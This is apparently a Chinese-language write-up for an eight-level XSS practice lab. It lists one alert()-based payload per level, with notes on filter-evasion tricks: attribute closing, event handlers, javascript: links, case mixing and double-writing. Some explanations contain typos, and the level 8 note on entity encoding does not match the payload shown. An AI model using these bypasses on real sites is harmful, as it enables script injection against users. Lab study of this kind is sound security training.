xss1-8
Level-1
<script>alert()</script>
- 基础反射型 无任何过滤
Level-2
"> <script>alert()</script> <"
闭合属性:">用来闭合当前标签的value属性
注入新标签:闭合属性后,插入独立的<script>标签,执行新标签内的代码,绕过了“”入被限制在属性内无法执行脚本的”限制
Level-3
' onfocus=javascript:alert() '
- 事件型
- 闭合属性:'闭合value属性的单引号
- 事件触发:onfous是html事件属性,执行结果是伪协议,当输入框被点击时,执行alter(),绕过了“标签过滤”,利用合法事件属性执行
Level-4
" onclick="alert('1')
- 事件型
- 闭合属性:"闭合value属性的双引号
- 点击触发:onclick是点击事件,点击输入框所在的元素时,执行
Level-5
"><a href="javascript:alert(/xss/)">click me!</a><"
- 闭合标签:">闭合当前标签
- 注入新标签:插入<a>标签,执行结果是伪协议,点击click 么链接时,alter(),绕过<script>标签过滤
Level-6
"><SCript>alert(/xss/)</SCript>"<
- 大小写混淆:SCript混合大小写,绕过“小写<script>过滤”规则
Level-7
" oonnmouseover="alert(/xss/)
- 双写绕过:oonnmouseover中,on被过滤后会还原为onmouseover
Level-8
javascript:alert(/xss/)
- 实体编码:&#*63是html实体编码,对应字符c
- 拼接后还原为javascript:alter(/xss/) 当做为href属性值时,解析伪协议并执行alter()
- 绕过“直接检测javascript:关键字”的过滤规则